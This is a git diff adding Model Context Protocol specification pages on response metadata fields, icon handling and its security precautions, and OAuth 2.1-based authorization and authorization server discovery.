+[`MissingRequiredClientCapabilityError`](/specification/2026-07-28/schema#missingrequiredclientcapabilityerror)
+(`-32021`) whose `data.requiredCapabilities` lists the missing capabilities. On
+HTTP, the response status **MUST** be `400 Bad Request`.
+
+**Per-response protocol fields:**
+
+Servers **SHOULD** include the following `io.modelcontextprotocol/*` field in
+every result's `_meta`, unless specifically configured not to do so, to
+identify themselves without relying on any prior connection state:
+
+| Key | Type | Required | Description |
+| ------------------------------------ | ---------------- | -------- | ----------------------- |
+| `io.modelcontextprotocol/serverInfo` | `Implementation` | No | Server name and version |
+
+
+ `io.modelcontextprotocol/clientInfo` and `io.modelcontextprotocol/serverInfo`
+ are self-reported by the sender and are not verified by the protocol. They are
+ intended for display, logging, and debugging. Implementations **SHOULD NOT**
+ use them to change the behavior of the client or server, and **SHOULD NOT**
+ rely on them for security decisions.
+
+
+On notifications delivered via a [`subscriptions/listen`][subscriptions-listen] stream,
+the server **MUST** include `io.modelcontextprotocol/subscriptionId` in `_meta` so the
+client can correlate the notification with the originating subscription request.
+
+[lifecycle]: /specification/2026-07-28/basic/versioning
+
+[subscriptions-listen]: /specification/2026-07-28/basic/patterns/subscriptions
+
+**OpenTelemetry trace context:**
+
+As an exception to the prefix requirement above, the keys `traceparent`, `tracestate`, and
+`baggage` are reserved for [OpenTelemetry](https://opentelemetry.io/) trace context propagation.
+When present, their values MUST follow [W3C Trace Context](https://www.w3.org/TR/trace-context/)
+and [W3C Baggage](https://www.w3.org/TR/baggage/) formats respectively.
+
+This exception exists to maintain compatibility with existing implementations and
+[OpenTelemetry semantic conventions for MCP](https://opentelemetry.io/docs/specs/semconv/gen-ai/mcp/).
+
+Non-normative example of trace context in `_meta`:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/call",
+ "params": {
+ "name": "get_weather",
+ "arguments": {
+ "location": "New York"
+ },
+ "_meta": {
+ "traceparent": "00-0af7651916cd43dd8448eb211c80319c-00f067aa0ba902b7-01"
+ }
+ }
+}
+```
+
+### `icons`
+
+The `icons` property provides a standardized way for servers to expose visual identifiers for their resources, tools, prompts, and implementations. Icons enhance user interfaces by providing visual context and improving the discoverability of available functionality.
+
+Icons are represented as an array of `Icon` objects, where each icon includes:
+
+* `src`: A URI pointing to the icon resource (required). This can be:
+ * An HTTP/HTTPS URL pointing to an image file
+ * A data URI with base64-encoded image data
+* `mimeType`: Optional MIME type if the server's type is missing or generic
+* `sizes`: Optional array of size specifications (e.g., `["48x48"]`, `["any"]` for scalable formats like SVG, or `["48x48", "96x96"]` for multiple sizes)
+* `theme`: Optional theme preference (`light` or `dark`) for the icon background
+
+**Required MIME type support:**
+
+Clients that support rendering icons **MUST** support at least the following MIME types:
+
+* `image/png` - PNG images (safe, universal compatibility)
+* `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)
+
+Clients that support rendering icons **SHOULD** also support:
+
+* `image/svg+xml` - SVG images (scalable but requires security precautions as noted below)
+* `image/webp` - WebP images (modern, efficient format)
+
+**Security considerations:**
+
+Consumers of icon metadata **MUST** take appropriate security precautions when handling icons to prevent compromise:
+
+* Treat icon metadata and icon bytes as untrusted inputs and defend against network, privacy, and parsing risks.
+* Ensure that the icon URI is either a HTTPS or `data:` URI. Clients **MUST** reject icon URIs that use unsafe schemes and redirects, such as `javascript:`, `file:`, `ftp:`, `ws:`, or local app URI schemes.
+ * Disallow scheme changes and redirects to hosts on different origins.
+* Be resilient against resource exhaustion attacks stemming from oversized images, large dimensions, or excessive frames (e.g., in GIFs).
+ * Consumers **MAY** set limits for image and content size.
+* Fetch icons without credentials. Do not send cookies, `Authorization` headers, or client credentials.
+* Verify that icon URIs are from the same origin as the server. This minimizes the risk of exposing data or tracking information to third-parties.
+* Exercise caution when fetching and rendering icons as the payload **MAY** contain executable content (e.g., SVG with [embedded JavaScript](https://www.w3.org/TR/SVG11/script.html) or [extended capabilities](https://www.w3.org/TR/SVG11/extend.html)).
+ * Consumers **MAY** choose to disallow specific file types or otherwise sanitize icon files before rendering.
+* Validate MIME types and file contents before rendering. Treat the MIME type information as advisory. Detect content type via magic bytes; reject on mismatch or unknown types.
+ * Maintain a strict allowlist of image types.
+
+**Usage:**
+
+Icons can be attached to:
+
+* `Implementation`: Visual identifier for the MCP server/client implementation
+* `Tool`: Visual representation of the tool's functionality
+* `Prompt`: Icon to display alongside prompt templates
+* `Resource`: Visual indicator for different resource types
+
+Multiple icons can be provided to support different display contexts and resolutions. Clients should select the most appropriate icon based on their UI requirements.
diff --git a/content/mcp/specification/2026-07-28/basic/authorization.md b/content/mcp/specification/2026-07-28/basic/authorization.md
new file mode 100644
index 000000000..368f1333a
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/authorization.md
@@ -0,0 +1,426 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Authorization
+
+
+
+## Introduction
+
+### Purpose and Scope
+
+The Model Context Protocol provides authorization capabilities at the transport level,
+enabling MCP clients to make requests to restricted MCP servers on behalf of resource
+owners. This specification defines the authorization flow for HTTP-based transports.
+
+### Protocol Requirements
+
+Authorization is **OPTIONAL** for MCP implementations. When supported:
+
+* Implementations using an HTTP-based transport **SHOULD** conform to this specification.
+* Implementations using an STDIO transport **SHOULD NOT** follow this specification, and
+ instead retrieve credentials from the environment.
+* Implementations using alternative transports **MUST** follow established security best
+ practices for their protocol.
+
+### Standards Compliance
+
+This authorization mechanism is based on established specifications listed below, but
+implements a selected subset of their features to ensure security and interoperability
+while maintaining simplicity:
+
+* OAuth 2.1 IETF DRAFT ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13))
+* OAuth 2.0 Bearer Token Usage
+ ([RFC6750](https://datatracker.ietf.org/doc/html/rfc6750))
+* OAuth 2.0 Authorization Server Metadata
+ ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414))
+* OAuth 2.0 Dynamic Client Registration Protocol
+ ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591))
+* Resource Indicators for OAuth 2.0
+ ([RFC8707](https://www.rfc-editor.org/rfc/rfc8707.html))
+* OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728))
+* OAuth 2.0 Authorization Server Issuer Identification ([RFC9207](https://datatracker.ietf.org/doc/html/rfc9207))
+* OAuth Client ID Metadata Documents ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00))
+* [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html)
+* OpenID Connect Dynamic Client Registration 1.0 ([OpenID Connect Registration](https://openid.net/specs/openid-connect-registration-1_0.html))
+
+## Roles
+
+A protected *MCP server* acts as an [OAuth 2.1 resource server](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles),
+capable of accepting and responding to protected resource requests using access tokens.
+
+An *MCP client* acts as an [OAuth 2.1 client](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles),
+making protected resource requests on behalf of a resource owner.
+
+The *authorization server* is responsible for interacting with the user (if necessary) and issuing access tokens for use at the MCP server.
+The implementation details of the authorization server are beyond the scope of this specification. It may be hosted with the
+resource server or a separate entity. [Authorization Server Discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery)
+specifies how an MCP server indicates the location of its corresponding authorization server to a client.
+
+## Overview
+
+1. Authorization servers **MUST** implement OAuth 2.1 with appropriate security
+ measures for both confidential and public clients.
+
+2. Authorization servers and MCP clients **SHOULD** support [OAuth Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents)
+ ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)).
+
+3. Authorization servers and MCP clients **MAY** support the OAuth 2.0 Dynamic Client Registration
+ Protocol ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)). Note that
+ [Dynamic Client Registration](/specification/2026-07-28/basic/authorization/client-registration#dynamic-client-registration)
+ is deprecated and retained for backwards compatibility with authorization servers that do not support Client ID Metadata Documents.
+
+4. MCP servers **MUST** implement OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)).
+ MCP clients **MUST** use OAuth 2.0 Protected Resource Metadata for [authorization server discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery).
+
+5. MCP authorization servers **MUST** provide at least one of the following discovery mechanisms:
+
+ * OAuth 2.0 Authorization Server Metadata ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414))
+ * [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html)
+
+ MCP clients **MUST** support both [discovery mechanisms](/specification/2026-07-28/basic/authorization/authorization-server-discovery#authorization-server-metadata-discovery) to obtain the information required to interact with the authorization server.
+
+## Authorization Server Discovery
+
+MCP servers advertise their associated authorization servers through OAuth 2.0 Protected
+Resource Metadata, and MCP clients determine authorization server endpoints and supported
+capabilities through authorization server metadata discovery. Implementations **MUST**
+follow the normative discovery requirements defined in
+[Authorization Server Discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery).
+
+## Client Registration
+
+Before initiating the authorization flow, MCP clients **MUST** obtain a client ID through
+one of three registration mechanisms: Client ID Metadata Documents, pre-registration, or
+Dynamic Client Registration, following the requirements and selection priority defined in
+[Client Registration](/specification/2026-07-28/basic/authorization/client-registration).
+
+## Scope Selection Strategy
+
+MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in
+[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3)
+to indicate the scopes required for accessing the resource. This provides clients with immediate
+guidance on the appropriate scopes to request during authorization,
+following the principle of least privilege and preventing clients from requesting excessive permissions.
+
+The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_supported`, be a subset
+or superset of it, or an alternative collection that is neither a strict subset nor
+superset. Clients **MUST NOT** assume any particular set relationship between the challenged
+scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the
+challenge as authoritative for the current operation. These scopes are required to
+satisfy the current request. When re-authorizing, clients **SHOULD** include these scopes
+alongside any previously granted scopes to avoid losing permissions needed for other operations
+(see [Step-Up Authorization Flow](#step-up-authorization-flow)). Servers **SHOULD** strive for
+consistency in how they construct scope sets but they are not required to surface every dynamically
+issued scope through `scopes_supported`.
+
+Example 401 response with scope guidance:
+
+```http theme={null}
+HTTP/1.1 401 Unauthorized
+WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
+ scope="files:read"
+```
+
+When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting
+only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients
+**SHOULD** follow this priority order for scope selection:
+
+1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
+2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined.
+
+The `scopes_supported` field is intended to represent the minimal set of scopes necessary
+for basic functionality (see [Scope Minimization](/docs/draft/tutorials/security/security_best_practices#scope-minimization)),
+with additional scopes requested incrementally through the step-up authorization flow steps
+described in the [Scope Challenge Handling](#scope-challenge-handling) section.
+
+## Authorization Flow Steps
+
+The registration step shown in the flow uses one of the mechanisms defined in
+[Client Registration](/specification/2026-07-28/basic/authorization/client-registration).
+
+The complete Authorization flow proceeds as follows:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant B as User-Agent (Browser)
+ participant C as Client
+ participant M as MCP Server (Resource Server)
+ participant A as Authorization Server
+
+ C->>M: MCP request without token
+ M->>C: HTTP 401 Unauthorized with WWW-Authenticate header
+ Note over C: Extract resource_metadata URL from WWW-Authenticate
+
+ C->>M: Request Protected Resource Metadata
+ M->>C: Return metadata
+
+ Note over C: Parse metadata and extract authorization server(s) Client determines AS to use
+
+ C->>A: GET Authorization server metadata endpoint
+ Note over C,A: Try OAuth 2.0 and OpenID Connect discovery endpoints in priority order
+ A-->>C: Authorization server metadata
+
+ alt Client ID Metadata Documents
+ Note over C: Client uses HTTPS URL as client_id
+ Note over A: Server detects URL-formatted client_id
+ A->>C: Fetch metadata from client_id URL
+ C-->>A: JSON metadata document
+ Note over A: Validate metadata and redirect_uris
+ else Dynamic client registration
+ C->>A: POST /register
+ A->>C: Client Credentials
+ else Pre-registered client
+ Note over C: Use existing client_id
+ end
+
+ Note over C: Generate PKCE parameters Include resource parameter Apply scope selection strategy Record expected issuer
+ C->>B: Open browser with authorization URL + code_challenge + resource
+ B->>A: Authorization request with resource parameter
+ Note over A: User authorizes
+ A->>B: Redirect to callback with authorization code + iss
+ B->>C: Authorization code callback
+ Note over C: Validate iss against recorded issuer (RFC 9207)
+ C->>A: Token request + code_verifier + resource
+ A->>C: Access token (+ refresh token)
+ C->>M: MCP request with access token
+ M-->>C: MCP response
+ Note over C,M: MCP communication continues with valid token
+```
+
+### Authorization Response Validation
+
+Before redirecting the user-agent, the client **MUST** record the `issuer` value from the selected authorization server's validated metadata document (see [Authorization Server Metadata Discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery#authorization-server-metadata-discovery)) and associate it with the same per-request record used to store the PKCE code verifier (and the `state` value, if used). The validation in this section depends on that recorded value being authentic; it provides no protection if the expected issuer was obtained from an unvalidated source.
+
+MCP authorization servers **SHOULD** include the `iss` parameter in authorization responses, including error responses, as defined in [RFC9207 Section 2](https://datatracker.ietf.org/doc/html/rfc9207#section-2). Authorization servers that include the `iss` parameter **MUST** advertise this by setting `authorization_response_iss_parameter_supported` to `true` in their metadata ([RFC9207 Section 2.3](https://datatracker.ietf.org/doc/html/rfc9207#section-2.3)).
+
+On receiving the authorization response, MCP clients **MUST** apply the validation in [RFC9207 Section 2.4](https://datatracker.ietf.org/doc/html/rfc9207#section-2.4) before transmitting the authorization code to any token endpoint:
+
+| `authorization_response_iss_parameter_supported` | `iss` in response | Client action |
+| ------------------------------------------------ | ----------------- | ------------------------------------------------------------------------------------------ |
+| `true` | present | Compare to the recorded issuer using simple string comparison ([RFC3986 Section 6.2.1][1]) |
+| `true` | absent | Reject the response |
+| `false` or absent | present | Compare to the recorded issuer using simple string comparison ([RFC3986 Section 6.2.1][1]) |
+| `false` or absent | absent | Proceed |
+
+[1]: https://datatracker.ietf.org/doc/html/rfc3986#section-6.2.1
+
+The third row applies the local-policy provision in [RFC9207 Section 2.4](https://datatracker.ietf.org/doc/html/rfc9207#section-2.4): this specification compares a present `iss` against the recorded issuer regardless of metadata advertisement, to accommodate authorization servers that emit `iss` before updating their metadata.
+
+A future revision of this specification is expected to upgrade authorization server inclusion of `iss` from **SHOULD** to **MUST**. Implementers are encouraged to emit and validate `iss` now to ease that transition; client rejection behavior on `iss` absence will continue to be keyed on `authorization_response_iss_parameter_supported` until that revision defines the upgrade path.
+
+After decoding the `iss` value from the `application/x-www-form-urlencoded` response per [RFC 9207 Section 2.4](https://datatracker.ietf.org/doc/html/rfc9207#section-2.4), clients **MUST NOT** apply scheme or host case folding, default-port elision, trailing-slash, or percent-encoding normalization ([RFC 3986 Sections 6.2.2-6.2.3](https://datatracker.ietf.org/doc/html/rfc3986#section-6.2.2)) before comparison.
+
+This validation applies equally to error responses - on mismatch the client **MUST NOT** act on or display `error`, `error_description`, or `error_uri`.
+
+## Resource Parameter Implementation
+
+MCP clients **MUST** implement Resource Indicators for OAuth 2.0 as defined in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html)
+to explicitly specify the target resource for which the token is being requested. The `resource` parameter:
+
+1. **MUST** be included in both authorization requests and token requests.
+2. **MUST** identify the MCP server that the client intends to use the token with.
+3. **MUST** use the canonical URI of the MCP server as defined in [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#name-access-token-request).
+
+### Canonical Server URI
+
+For the purposes of this specification, the canonical URI of an MCP server is defined as the resource identifier as specified in
+[RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2) and aligns with the `resource` parameter in
+[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728).
+
+MCP clients **SHOULD** provide the most specific URI that they can for the MCP server they intend to access, following the guidance in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707). While the canonical form uses lowercase scheme and host components, implementations **SHOULD** accept uppercase scheme and host components for robustness and interoperability.
+
+Examples of valid canonical URIs:
+
+* `https://mcp.example.com/mcp`
+* `https://mcp.example.com`
+* `https://mcp.example.com:8443`
+* `https://mcp.example.com/server/mcp` (when path component is necessary to identify individual MCP server)
+
+Examples of invalid canonical URIs:
+
+* `mcp.example.com` (missing scheme)
+* `https://mcp.example.com#fragment` (contains fragment)
+
+> **Note:** While both `https://mcp.example.com/` (with trailing slash) and `https://mcp.example.com` (without trailing slash) are technically valid absolute URIs according to [RFC 3986](https://www.rfc-editor.org/rfc/rfc3986), implementations **SHOULD** consistently use the form without the trailing slash for better interoperability unless the trailing slash is semantically significant for the specific resource.
+
+For example, if accessing an MCP server at `https://mcp.example.com`, the authorization request would include:
+
+```
+&resource=https%3A%2F%2Fmcp.example.com
+```
+
+MCP clients **MUST** send this parameter regardless of whether authorization servers support it.
+
+## Access Token Usage
+
+### Token Requirements
+
+Access token handling when making requests to MCP servers **MUST** conform to the requirements defined in
+[OAuth 2.1 Section 5 "Resource Requests"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5).
+Specifically:
+
+1. MCP client **MUST** use the Authorization request header field defined in
+ [OAuth 2.1 Section 5.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.1.1):
+
+```
+Authorization: Bearer
+```
+
+Note that authorization **MUST** be included in every HTTP request from client to server.
+
+2. Access tokens **MUST NOT** be included in the URI query string
+
+Example request:
+
+```http theme={null}
+GET /mcp HTTP/1.1
+Host: mcp.example.com
+Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
+```
+
+### Token Handling
+
+MCP servers, acting in their role as an OAuth 2.1 resource server, **MUST** validate access tokens as described in
+[OAuth 2.1 Section 5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.2).
+MCP servers **MUST** validate that access tokens were issued specifically for them as the intended audience,
+according to [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2).
+If validation fails, servers **MUST** respond according to
+[OAuth 2.1 Section 5.3](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.3)
+error handling requirements. Invalid or expired tokens **MUST** receive a HTTP 401
+response.
+
+MCP clients **MUST NOT** send tokens to the MCP server other than ones issued by the MCP server's authorization server.
+
+MCP servers **MUST** only accept tokens that are valid for use with their
+own resources.
+
+MCP servers **MUST NOT** accept or transit any other tokens.
+
+## Refresh Tokens
+
+This section provides guidance for MCP Clients and MCP Servers when handling or issuing
+refresh tokens for both OAuth and OpenID Connect.
+
+**MCP Clients** that desire refresh tokens:
+
+* **MUST** keep refresh tokens confidential in transit and storage as specified in [OAuth 2.1 Section 4.3](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-14#section-4.3)
+* **SHOULD** include `refresh_token` in their `grant_types` client metadata
+* **MAY** add `offline_access` to the `scope` parameter of the authorization and token requests when the Authorization Server metadata contains it in `scopes_supported`
+* **MUST NOT** assume refresh tokens will be issued; the AS retains discretion
+
+**MCP Servers** (Protected Resources) **SHOULD NOT** include `offline_access` in
+`WWW-Authenticate` scope or Protected Resource Metadata `scopes_supported`, as refresh
+tokens are not a resource requirement.
+
+## Error Handling
+
+Servers **MUST** return appropriate HTTP status codes for authorization errors:
+
+| Status Code | Description | Usage |
+| ----------- | ------------ | ------------------------------------------ |
+| 401 | Unauthorized | Authorization required or token invalid |
+| 403 | Forbidden | Invalid scopes or insufficient permissions |
+| 400 | Bad Request | Malformed authorization request |
+
+### Scope Challenge Handling
+
+This section covers handling insufficient scope errors during runtime operations when
+a client already has a token but needs additional permissions. This follows the error
+handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5)
+and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
+
+#### Runtime Insufficient Scope Errors
+
+When a client makes a request with an access token with insufficient
+scope during runtime operations, the server **SHOULD** respond with:
+
+* `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1))
+* `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
+ * `error="insufficient_scope"` - indicating the specific type of authorization failure
+ * `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation
+ * `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
+ * `error_description` (optional) - human-readable description of the error
+
+**Server Scope Management**: When responding with insufficient scope errors, servers
+**SHOULD** include the scopes needed to satisfy the current operation in the `scope`
+parameter, consistent with
+[RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1).
+The `scope` attribute describes the scopes necessary to access
+the requested resource — servers are not required to include
+the client's previously granted scopes.
+
+Whatever scope-inclusion strategy a server adopts, servers **SHOULD** include all
+scopes required for the current operation in a single challenge.
+Challenging incrementally (returning one missing scope, then another
+on the subsequent retry) forces multiple authorization round-trips
+for a single operation and degrades user experience. The required
+scopes may be determined dynamically based on the specific request
+arguments and context, but once determined, they should be emitted
+together.
+
+Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.
+
+Servers **SHOULD** consider the user experience impact when determining which scopes to include in the
+response, as misconfigured scopes may require frequent user interaction.
+
+Scope accumulation across operations is a client-side responsibility. See the
+[Step-Up Authorization Flow](#step-up-authorization-flow) for the scope-union requirement.
+
+Example insufficient scope response:
+
+```http theme={null}
+HTTP/1.1 403 Forbidden
+WWW-Authenticate: Bearer error="insufficient_scope",
+ scope="files:write",
+ resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
+ error_description="File write permission required for this operation"
+```
+
+#### Step-Up Authorization Flow
+
+Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`).
+Clients **SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow or handle the errors in other, appropriate ways.
+Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients)
+**MAY** attempt the step-up authorization flow or abort the request immediately.
+
+The flow is as follows:
+
+1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
+2. **Determine required scopes** by computing the union of the
+ client's previously requested scope set and the scopes from
+ the current challenge. This ensures previously granted
+ permissions are preserved when servers emit per-operation
+ scope challenges per
+ [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1).
+ Clients **MAY** also consult the
+ [Scope Selection Strategy](#scope-selection-strategy) for
+ initial scope selection guidance.
+3. **Initiate (re-)authorization** with the determined scope set
+4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
+
+Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid
+repeated failures for the same resource and operation combination.
+
+Servers **MUST** account for scope hierarchies, where a broader scope implies narrower ones, when
+deciding whether a token is sufficient for an operation.
+
+## Security Considerations
+
+Implementations of this specification **MUST** follow the normative security
+requirements in [Security Considerations](/specification/2026-07-28/basic/authorization/security-considerations),
+covering token audience binding and validation, token theft, communication security,
+authorization code protection, mix-up and confused deputy attacks, open redirection,
+and Client ID Metadata Document security.
+
+## MCP Authorization Extensions
+
+There are several authorization extensions to the core protocol that define additional authorization mechanisms. These extensions are:
+
+* **Optional** - Implementations can choose to adopt these extensions
+* **Additive** - Extensions do not modify or break core protocol functionality; they add new capabilities while preserving core protocol behavior
+* **Composable** - Extensions are modular and designed to work together without conflicts, allowing implementations to adopt multiple extensions simultaneously
+* **Versioned independently** - Extensions follow the core MCP versioning cycle but may adopt independent versioning as needed
+
+A list of supported extensions can be found in the [MCP Authorization Extensions](https://github.com/modelcontextprotocol/ext-auth) repository.
diff --git a/content/mcp/specification/2026-07-28/basic/authorization/authorization-server-discovery.md b/content/mcp/specification/2026-07-28/basic/authorization/authorization-server-discovery.md
new file mode 100644
index 000000000..514839500
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/authorization/authorization-server-discovery.md
@@ -0,0 +1,146 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Authorization Server Discovery
+
+
+
+This document describes the mechanisms by which MCP servers advertise their associated
+authorization servers to MCP clients, as well as the discovery process through which MCP
+clients can determine authorization server endpoints and supported capabilities.
+
+## Authorization Server Location
+
+MCP servers **MUST** implement the OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728))
+specification to indicate the locations of authorization servers. The Protected Resource Metadata document returned by the MCP server **MUST** include
+the `authorization_servers` field containing at least one authorization server.
+
+The specific use of `authorization_servers` is beyond the scope of this specification; implementers should consult
+OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) for
+guidance on implementation details.
+
+Implementors should note that Protected Resource Metadata documents
+can define multiple authorization servers. The responsibility for
+selecting which authorization server to use lies with the MCP client,
+following the guidelines specified in
+[RFC9728 Section 7.6 "Authorization Servers"](https://datatracker.ietf.org/doc/html/rfc9728#name-authorization-servers).
+
+When multiple authorization servers are listed in `authorization_servers`, each is an
+independent OAuth 2.0 authorization server. Consistent with
+[RFC 6749 Section 2.2](https://datatracker.ietf.org/doc/html/rfc6749#section-2.2), client
+identifiers are unique to the authorization server that issued them. Clients **MUST** maintain
+separate registration state (client credentials, tokens) per authorization server and
+**MUST NOT** assume that credentials valid for one authorization server will be accepted by
+another. See
+[Authorization Server Binding](/specification/2026-07-28/basic/authorization/client-registration#authorization-server-binding)
+for the requirements on associating client credentials with the authorization server that issued them.
+
+## Protected Resource Metadata Discovery Requirements
+
+MCP servers **MUST** implement one of the following discovery mechanisms to provide authorization server location information to MCP clients:
+
+1. **WWW-Authenticate Header**: Include the resource metadata URL in the `WWW-Authenticate` HTTP header under `resource_metadata` when returning `401 Unauthorized` responses, as described in [RFC9728 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9728#name-www-authenticate-response).
+
+2. **Well-Known URI**: Serve metadata at a well-known URI as specified in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728). This can be either:
+ * At the path of the server's MCP endpoint: `https://example.com/public/mcp` could host metadata at `https://example.com/.well-known/oauth-protected-resource/public/mcp`
+ * At the root: `https://example.com/.well-known/oauth-protected-resource`
+
+MCP clients **MUST** support both discovery mechanisms and use the resource metadata URL from the parsed `WWW-Authenticate` headers when present; otherwise, they **MUST** fall back to constructing and requesting the well-known URIs in the order listed above.
+
+MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
+
+Servers can also include a `scope` parameter in the `WWW-Authenticate` challenge to indicate the
+scopes required for accessing the resource; the scope semantics and the associated client behavior
+are defined in the [Scope Selection Strategy](/specification/2026-07-28/basic/authorization#scope-selection-strategy) section.
+
+## Authorization Server Metadata Discovery
+
+MCP uses the default `oauth-authorization-server` well-known URI
+suffix defined in
+[RFC 8414 Section 3.1](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1)
+for authorization server metadata discovery. MCP does not define
+an application-specific well-known URI suffix.
+
+To handle different issuer URL formats and ensure
+interoperability with both OAuth 2.0 Authorization Server
+Metadata and OpenID Connect Discovery 1.0 specifications, MCP
+clients **MUST** attempt multiple well-known endpoints when
+discovering authorization server metadata.
+
+The discovery approach is based on
+[RFC 8414 Section 3.1 "Authorization Server Metadata Request"](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1)
+for OAuth 2.0 Authorization Server Metadata discovery and
+[RFC 8414 Section 5 "Compatibility Notes"](https://datatracker.ietf.org/doc/html/rfc8414#section-5)
+for OpenID Connect Discovery 1.0 interoperability.
+
+For issuer URLs with path components
+(e.g., `https://auth.example.com/tenant1`), clients **MUST**
+try endpoints in the following priority order:
+
+1. OAuth 2.0 Authorization Server Metadata with path insertion:
+ `https://auth.example.com/.well-known/oauth-authorization-server/tenant1`
+2. OpenID Connect Discovery 1.0 with path insertion:
+ `https://auth.example.com/.well-known/openid-configuration/tenant1`
+3. OpenID Connect Discovery 1.0 path appending:
+ `https://auth.example.com/tenant1/.well-known/openid-configuration`
+
+For issuer URLs without path components
+(e.g., `https://auth.example.com`), clients **MUST** try:
+
+1. OAuth 2.0 Authorization Server Metadata:
+ `https://auth.example.com/.well-known/oauth-authorization-server`
+2. OpenID Connect Discovery 1.0:
+ `https://auth.example.com/.well-known/openid-configuration`
+
+After retrieving a metadata document, MCP clients **MUST** validate it as required by [RFC8414 Section 3.3](https://datatracker.ietf.org/doc/html/rfc8414#section-3.3) or [OpenID Connect Discovery Section 4.3](https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationValidation): the `issuer` value in the document **MUST** be identical to the issuer identifier used to construct the well-known URL. If they differ, the client **MUST NOT** use the metadata. For example, a document fetched from `https://attacker.example/.well-known/oauth-authorization-server` that contains `"issuer": "https://honest.example"` **MUST** be rejected.
+
+## Sequence Diagram
+
+The following diagram outlines an example flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant C as Client
+ participant M as MCP Server (Resource Server)
+ participant A as Authorization Server
+
+ Note over C: Attempt unauthenticated MCP request
+ C->>M: MCP request without token
